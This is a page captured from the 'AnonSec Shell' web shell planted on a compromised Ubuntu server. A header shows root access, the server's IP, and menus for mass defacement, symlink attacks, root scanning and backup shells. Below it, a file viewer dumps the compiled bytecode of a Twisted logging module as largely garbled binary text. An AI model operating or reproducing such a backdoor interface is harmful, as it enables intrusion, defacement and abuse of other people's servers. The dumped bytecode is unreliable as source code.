AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/logger/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/logger/__pycache__/_format.cpython-310.pyc
o

�bb.�
@s�dZddlmZddlmZddlmZmZm	Z	mZm
Z
mZmZddl
mZddlmZddlmZddlmZd	d
lmZmZd	dlmZdZd
edefdd�Zd
ededefdd�Zedfde
ede
ededefdd�Z e fd
edee
egefde
efdd�Z!Gdd�de�Z"dedeeefdefd d!�Z#d
edefd"d#�Z$d$edefd%d&�Z%d
edefd'd(�Z&d)d)d)e fd
ed*e'd+e'd,e'deegefdefd-d.�Z(d/S)0z&
Tools for formatting logging events.
�)�Mapping)�datetime)�Any�Callable�Iteratorr�Optional�Union�cast)�
NamedConstant)�FixedOffsetTimeZone)�Failure)�	safe_repr�)�
aFormatter�
flatFormat)�LogEventz%Y-%m-%dT%H:%M:%S%z�event�returncCst|dddd�S)aa
    Formats an event as text, using the format in C{event["log_format"]}.

    This implementation should never raise an exception; if the formatting
    cannot be done, the returned string will describe the event generically so
    that a useful message is emitted regardless.

    @param event: A logging event.

    @return: A formatted string.
    F)�includeTraceback�includeTimestamp�
includeSystem)�eventAsText)r�r�8/usr/lib/python3/dist-packages/twisted/logger/_format.py�formatEvents�r�errorcCsVzdj||d�WSty*t�}d�dd�|��D��}djt|�||d�YSw)z�
    Formats an event as text that describes the event generically and a
    formatting error.

    @param event: A logging event.
    @param error: The formatting error.

    @return: A formatted string.
    z)Unable to format event {event!r}: {error})rrz, css*�|]\}}d�t|�t|�f�VqdS)z = N)�joinr
)�.0�key�valuerrr�	<genexpr>Bs
��
�z+formatUnformattableEvent.<locals>.<genexpr>zrMESSAGE LOST: unformattable object logged: {error}
Recoverable data: {text}
Exception during formatting:
{failure})r�failure�text)�format�
BaseExceptionrr�itemsr
)rrr!r"rrr�formatUnformattableEvent,s
�
�
���r&�-�when�
timeFormat�defaultcCs8|dus|dur
|St�|�}t�||�}t|�|��S)a�
    Format a timestamp as text.

    Example::

        >>> from time import time
        >>> from twisted.logger import formatTime
        >>>
        >>> t = time()
        >>> formatTime(t)
        u'2013-10-22T14:19:11-0700'
        >>> formatTime(t, timeFormat="%Y/%W")  # Year and week number
        u'2013/42'
        >>>

    @param when: A timestamp.
    @param timeFormat: A time format.
    @param default: Text to return if C{when} or C{timeFormat} is L{None}.

    @return: A formatted time.
    N)r�fromLocalTimeStamp�DateTime�
fromtimestamp�str�strftime)r(r)r*�tzrrrr�
formatTimePs

r1cCs(t||d�}|s
dS|�dd�}|dS)a&
    Format an event as a line of human-readable text for, e.g. traditional log
    file output.

    The output format is C{"{timeStamp} [{system}] {event}\n"}, where:

        - C{timeStamp} is computed by calling the given C{formatTime} callable
          on the event's C{"log_time"} value

        - C{system} is the event's C{"log_system"} value, if set, otherwise,
          the C{"log_namespace"} and C{"log_level"}, joined by a C{"#"}.  Each
          defaults to C{"-"} is not set.

        - C{event} is the event, as formatted by L{formatEvent}.

    Example::

        >>> from time import time
        >>> from twisted.logger import formatEventAsClassicLogText
        >>> from twisted.logger import LogLevel
        >>>
        >>> formatEventAsClassicLogText(dict())  # No format, returns None
        >>> formatEventAsClassicLogText(dict(log_format="Hello!"))
        u'- [-#-] Hello!\n'
        >>> formatEventAsClassicLogText(dict(
        ...     log_format="Hello!",
        ...     log_time=time(),
        ...     log_namespace="my_namespace",
        ...     log_level=LogLevel.info,
        ... ))
        u'2013-10-22T17:30:02-0700 [my_namespace#info] Hello!\n'
        >>> formatEventAsClassicLogText(dict(
        ...     log_format="Hello!",
        ...     log_time=time(),
        ...     log_system="my_system",
        ... ))
        u'2013-11-11T17:22:06-0800 [my_system] Hello!\n'
        >>>

    @param event: an event.
    @param formatTime: A time formatter

    @return: A formatted event, or L{None} if no output is appropriate.
    )r1N�
z
	)r�replace)rr1�	eventTextrrr�formatEventAsClassicLogTextrs
/r5c@sXeZdZdZdeeefddfdd�Zdefdd�Z	de
fd	d
�Zdedefdd
�ZdS)�CallMappingz�
    Read-only mapping that turns a C{()}-suffix in key names into an invocation
    of the key rather than a lookup of the key.

    Implementation support for L{formatWithCall}.
    �
submappingrNcCs
||_dS)zo
        @param submapping: Another read-only mapping which will be used to look
            up items.
        N)�_submapping)�selfr7rrr�__init__�s
zCallMapping.__init__cC�
t|j�S�N)�iterr8�r9rrr�__iter__��
zCallMapping.__iter__cCr;r<)�lenr8r>rrr�__len__�r@zCallMapping.__len__rcCs6|�d�}|r
|dd�n|}|j|}|r|�}|S)z|
        Look up an item in the submapping for this L{CallMapping}, calling it
        if C{key} ends with C{"()"}.
        z()N���)�endswithr8)r9r�callit�realKeyrrrr�__getitem__�s

zCallMapping.__getitem__)
�__name__�
__module__�__qualname__�__doc__rr.rr:rr?�intrBrGrrrrr6�sr6�formatString�mappingcCstt�|dt|���S)a�
    Format a string like L{str.format}, but:

        - taking only a name mapping; no positional arguments

        - with the additional syntax that an empty set of parentheses
          correspond to a formatting item that should be called, and its result
          C{str}'d, rather than calling C{str} on the element directly as
          normal.

    For example::

        >>> formatWithCall("{string}, {function()}.",
        ...                dict(string="just a string",
        ...                     function=lambda: "a function"))
        'just a string, a function.'

    @param formatString: A PEP-3101 format string.
    @param mapping: A L{dict}-like object to format.

    @return: The string with formatted values interpolated.
    r)r.r�vformatr6)rMrNrrr�formatWithCall�srPc
Cs�z=d|vr
t|�WStttttf|�dd��}|dur WdSt|t�r&nt|t�r1|�d�}nt	d|����t
||�WStyT}zt||�WYd}~Sd}~ww)ae
    Formats an event as a string, using the format in C{event["log_format"]}.

    This implementation should never raise an exception; if the formatting
    cannot be done, the returned string will describe the event generically so
    that a useful message is emitted regardless.

    @param event: A logging event.

    @return: A formatted string.
    �
log_flattened�
log_formatN�zutf-8zLog format must be str, not )
rr	rrr.�bytes�get�
isinstance�decode�	TypeErrorrPr$r&)rr#�errr�_formatEvent�s 


��rZr!c
CsBz|��}W|Sty }z
dt|�}WYd}~|Sd}~ww)a^
    Format a failure traceback, assuming UTF-8 and using a replacement
    strategy for errors.  Every effort is made to provide a usable
    traceback, but should not that not be possible, a message and the
    captured exception are logged.

    @param failure: The failure to retrieve a traceback from.

    @return: The formatted traceback.
    z((UNABLE TO OBTAIN TRACEBACK FROM EVENT):N)�getTracebackr$r.)r!�	tracebackrYrrr�_formatTracebacks
���r]cCs�ttt|�dd��}|dur4ttt|�dd��}|dur!d}n|j}djtt|�dd��|d�}|Szt|�}W|StyGd}Y|Sw)	a�
    Format the system specified in the event in the "log_system" key if set,
    otherwise the C{"log_namespace"} and C{"log_level"}, joined by a C{"#"}.
    Each defaults to C{"-"} is not set.  If formatting fails completely,
    "UNFORMATTABLE" is returned.

    @param event: The event containing the system specification.

    @return: A formatted string representing the "log_system" key.
    �
log_systemN�	log_levelr'z{namespace}#{level}�
log_namespace)�	namespace�level�
UNFORMATTABLE)r	rr.rUr
�namer#�	Exception)r�systemrb�	levelNamerrr�
_formatSystems$�	�
��rhTrrrc
	Cs�t|�}|rd|vr|d}t|�}d�||f�}|s|Sd}|r1d�|tt|�dd���dg�}d}	|r@d�dt|�ddg�}	d	j||	|d
�S)ah
    Format an event as text.  Optionally, attach timestamp, traceback, and
    system information.

    The full output format is:
    C{"{timeStamp} [{system}] {event}\n{traceback}\n"} where:

        - C{timeStamp} is the event's C{"log_time"} value formatted with
          the provided C{formatTime} callable.

        - C{system} is the event's C{"log_system"} value, if set, otherwise,
          the C{"log_namespace"} and C{"log_level"}, joined by a C{"#"}.  Each
          defaults to C{"-"} is not set.

        - C{event} is the event, as formatted by L{formatEvent}.

        - C{traceback} is the traceback if the event contains a
          C{"log_failure"} key.  In the event the original traceback cannot
          be formatted, a message indicating the failure will be substituted.

    If the event cannot be formatted, and no traceback exists, an empty string
    is returned, even if includeSystem or includeTimestamp are true.

    @param event: A logging event.
    @param includeTraceback: If true and a C{"log_failure"} key exists, append
        a traceback.
    @param includeTimestamp: If true include a formatted timestamp before the
        event.
    @param includeSystem:  If true, include the event's C{"log_system"} value.
    @param formatTime: A time formatter

    @return: A formatted string with specified options.

    @since: Twisted 18.9.0
    �log_failurer2rS�log_timeN� �[�]z{timeStamp}{system}{eventText})�	timeStamprfr4)rZr]rr	�floatrUrhr#)
rrrrr1r4�fr\rnrfrrrr7s$* �rN))rK�collections.abcr�
MappingABCrr,�typingrrrrrr	�
constantlyr
�twisted.python._tzhelperr�twisted.python.failurer�twisted.python.reflectr
�_flattenrr�_interfacesr�timeFormatRFC3339r.rr$r&ror1r5r6rPrZr]rh�boolrrrrr�<module>sl$&����
�#���
�6""!�������

Anon7 - 2022
AnonSec Team